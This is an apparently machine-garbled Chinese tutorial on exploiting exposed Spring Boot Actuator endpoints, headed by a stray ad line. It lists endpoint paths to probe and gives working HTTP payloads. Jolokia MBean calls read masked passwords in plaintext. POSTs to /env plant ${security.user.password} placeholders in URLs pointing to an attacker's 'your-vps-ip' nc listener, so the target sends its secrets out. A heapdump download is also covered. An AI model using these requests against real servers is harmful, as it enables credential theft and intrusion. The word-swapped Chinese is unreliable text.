最新互联网大厂面试真题、Java程序员面试计谋(面试前的准备、面试中的技巧)请移步GitHub

一、路由地址及接口挪用详情泄露

开发环境切换为线上生产环境时,相关职员没有更改设置文件或遗忘切换设置环境,导致此破绽

直接接见以下几个路由,验证破绽是否存在:

/api-docs
/v2/api-docs
/swagger-ui.html

一些可能会遇到的接口路由变形:

/api.html
/sw/swagger-ui.html
/api/swagger-ui.html
/template/swagger-ui.html
/spring-security-rest/api/swagger-ui.html
/spring-security-oauth-resource/swagger-ui.html

除此之外,下面的路由有时也会包罗(或推测出)一些接口地址信息,然则无法获得参数相关信息:

/mappings
/actuator/mappings
/metrics
/actuator/metrics
/beans
/actuator/beans
/configprops
/actuator/configprops

一样平常来讲,知道 spring boot 应用的相关接口和传参信息并不能算是破绽;

然则可以检查露出的接口是否存在未授权接见、越权或者其他营业型破绽。

二、设置欠妥而露出的路由

主要是因为程序员开发时没有意识到露出路由可能会造成平安风险,或者没有根据尺度流程开发,遗忘上线时需要修改/切换生产环境的设置

/actuator
/auditevents
/autoconfig
/beans
/caches
/conditions
/configprops
/docs
/dump
/env
/flyway
/health
/heapdump
/httptrace
/info
/intergrationgraph
/jolokia
/logfile
/loggers
/liquibase
/metrics
/mappings
/prometheus
/refresh
/scheduledtasks
/sessions
/shutdown
/trace
/threaddump
/actuator/auditevents
/actuator/beans
/actuator/health
/actuator/conditions
/actuator/configprops
/actuator/env
/actuator/info
/actuator/loggers
/actuator/heapdump
/actuator/threaddump
/actuator/metrics
/actuator/scheduledtasks
/actuator/httptrace
/actuator/mappings
/actuator/jolokia
/actuator/hystrix.stream

其中对寻找破绽对照主要接口的有:

  • /env、/actuator/env:GET 请求 /env 会泄露环境变量信息,或者设置中的一些用户名,当程序员的属性名命名不规范 (例如 password 写成 psasword、pwd) 时,会泄露密码明文;同时有一定概率可以通过 POST 请求 /env 接口设置一些属性,触发相关 RCE 破绽。

  • /jolokia:通过 /jolokia/list 接口寻找可以行使的 MBean,触发相关 RCE 破绽;

  • /trace:一些 http 请求包接见跟踪信息,有可能发现有用的 cookie 信息

三、获取被星号脱敏的密码的明文 (方式一)

接见 /env 接口时,spring actuator 会将一些带有敏感关键词(如 password、secret)的属性名对应的属性值用 * 号替换到达脱敏的效果

行使条件

  • 目的网站存在 /jolokia 或 /actuator/jolokia 接口
  • 目的使用了 jolokia-core 依赖(版本要求暂未知)

行使方式

步骤一: 找到想要获取的属性名

GET 请求目的网站的 /env 或 /actuator/env 接口,搜索 ** 关键词,找到想要获取的被星号 * 遮掩的属性值对应的属性名。

步骤二: jolokia 挪用相关 Mbean 获取明文

将下面示例中的 security.user.password 替换为现实要获取的属性名,直接发包;明文值效果包罗在 response 数据包中的 value 键中。

挪用 org.springframework.boot Mbean(可能更通用)

现实上是挪用 org.springframework.boot.admin.SpringApplicationAdminMXBeanRegistrar 类实例的 getProperty 方式

spring 1.x

POST /jolokia
Content-Type: application/json

{"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}

spring 2.x

POST /actuator/jolokia
Content-Type: application/json

{"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}

挪用 org.springframework.cloud.context.environment Mbean(需要 spring cloud 相关依赖)

现实上是挪用 org.springframework.cloud.context.environment.EnvironmentManager 类实例的 getProperty 方式

spring 1.x

POST /jolokia
Content-Type: application/json

{"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}

spring 2.x

POST /actuator/jolokia
Content-Type: application/json

{"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}

四、获取被星号脱敏的密码的明文 (方式二)

接见 /env 接口时,spring actuator 会将一些带有敏感关键词(如 password、secret)的属性名对应的属性值用 * 号替换到达脱敏的效果

行使条件

  • 可以 GET 请求目的网站的 /env
  • 可以 POST 请求目的网站的 /env
  • 可以 POST 请求目的网站的 /refresh 接口刷新设置(存在 spring-boot-starter-actuator 依赖)
  • 目的使用了 spring-cloud-starter-netflix-eureka-client 依赖
  • 目的可以请求***者的服务器(请求可出外网)

行使方式

步骤一: 找到想要获取的属性名

GET 请求目的网站的 /env 或 /actuator/env 接口,搜索 ** 关键词,找到想要获取的被星号 * 遮掩的属性值对应的属性名。

步骤二: 使用 nc 监听 HTTP 请求

在自己控制的外网服务器上监听 80 端口:

nc -lvk 80

步骤三: 设置 eureka.client.serviceUrl.defaultZone 属性

将下面 http://value:${security.user.password}@your-vps-ip 中的 security.user.password 换成自己想要获取的对应的星号 * 遮掩的属性名;

your-vps-ip 换成自己外网服务器的真实 ip 地址。

spring 1.x

POST /env
Content-Type: application/x-www-form-urlencoded

eureka.client.serviceUrl.defaultZone=http://value:${security.user.password}@your-vps-ip

spring 2.x

POST /actuator/env
Content-Type: application/json

{"name":"eureka.client.serviceUrl.defaultZone","value":"http://value:${security.user.password}@your-vps-ip"}

步骤四: 刷新设置

spring 1.x

POST /refresh
Content-Type: application/x-www-form-urlencoded

spring 2.x

POST /actuator/refresh
Content-Type: application/json

步骤五: 解码属性值

正常的话,此时 nc 监听的服务器会收到目的发来的请求,其中包罗类似如下 Authorization 头内容:

Authorization: Basic dmFsdWU6MTIzNDU2

将其中的 dmFsdWU6MTIzNDU2部门使用 base64 解码,即可获得类似明文值 value:123456,其中的 123456 即是目的星号 * 脱敏前的属性值明文。

五、获取被星号脱敏的密码的明文 (方式三)

接见 /env 接口时,spring actuator 会将一些带有敏感关键词(如 password、secret)的属性名对应的属性值用 * 号替换到达脱敏的效果

行使条件

  • 通过 POST /env 设置属性触发目的对外网指定地址提议随便 http 请求
  • 目的可以请求***者的服务器(请求可出外网)

行使方式

参考 UUUUnotfound 提出的 issue-1,可以在目的发外部 http 请求的过程中,在 url path 中行使占位符带出数据

步骤一: 找到想要获取的属性名

GET 请求目的网站的 /env 或 /actuator/env 接口,搜索 ** 关键词,找到想要获取的被星号 * 遮掩的属性值对应的属性名。

步骤二: 使用 nc 监听 HTTP 请求

在自己控制的外网服务器上监听 80 端口:

nc -lvk 80

步骤三: 触发对外 http 请求

spring.cloud.bootstrap.location 方式(同时适用于明文数据中有特殊 url 字符的情形):

spring 1.x

POST /env
Content-Type: application/x-www-form-urlencoded

spring.cloud.bootstrap.location=http://your-vps-ip/?=${security.user.password}

spring 2.x

POST /actuator/env
Content-Type: application/json

{"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/?=${security.user.password}"}

eureka.client.serviceUrl.defaultZone 方式(不适用于明文数据中有特殊 url 字符的情形):

spring 1.x

POST /env
Content-Type: application/x-www-form-urlencoded

eureka.client.serviceUrl.defaultZone=http://your-vps-ip/${security.user.password}
spring 2.x

POST /actuator/env
Content-Type: application/json

{"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/${security.user.password}"}

步骤四: 刷新设置

spring 1.x

POST /refresh
Content-Type: application/x-www-form-urlencoded

spring 2.x

POST /actuator/refresh
Content-Type: application/json

六、获取被星号脱敏的密码的明文 (方式四)

接见 /env 接口时,spring actuator 会将一些带有敏感关键词(如 password、secret)的属性名对应的属性值用 * 号替换到达脱敏的效果

行使条件

  • 可正常 GET 请求目的 /heapdump 或 /actuator/heapdump 接口

行使方式

步骤一: 找到想要获取的属性名

GET 请求目的网站的 /env 或 /actuator/env 接口,搜索 ** 关键词,找到想要获取的被星号 * 遮掩的属性值对应的属性名。

步骤二: 下载 jvm heap 信息

下载的 heapdump 文件巨细通常在 50M—500M 之间,有时候也可能会大于 2G

GET 请求目的的 /heapdump 或 /actuator/heapdump 接口,下载应用实时的 JVM 堆信息

步骤三: 使用 MAT 获得 jvm heap 中的密码明文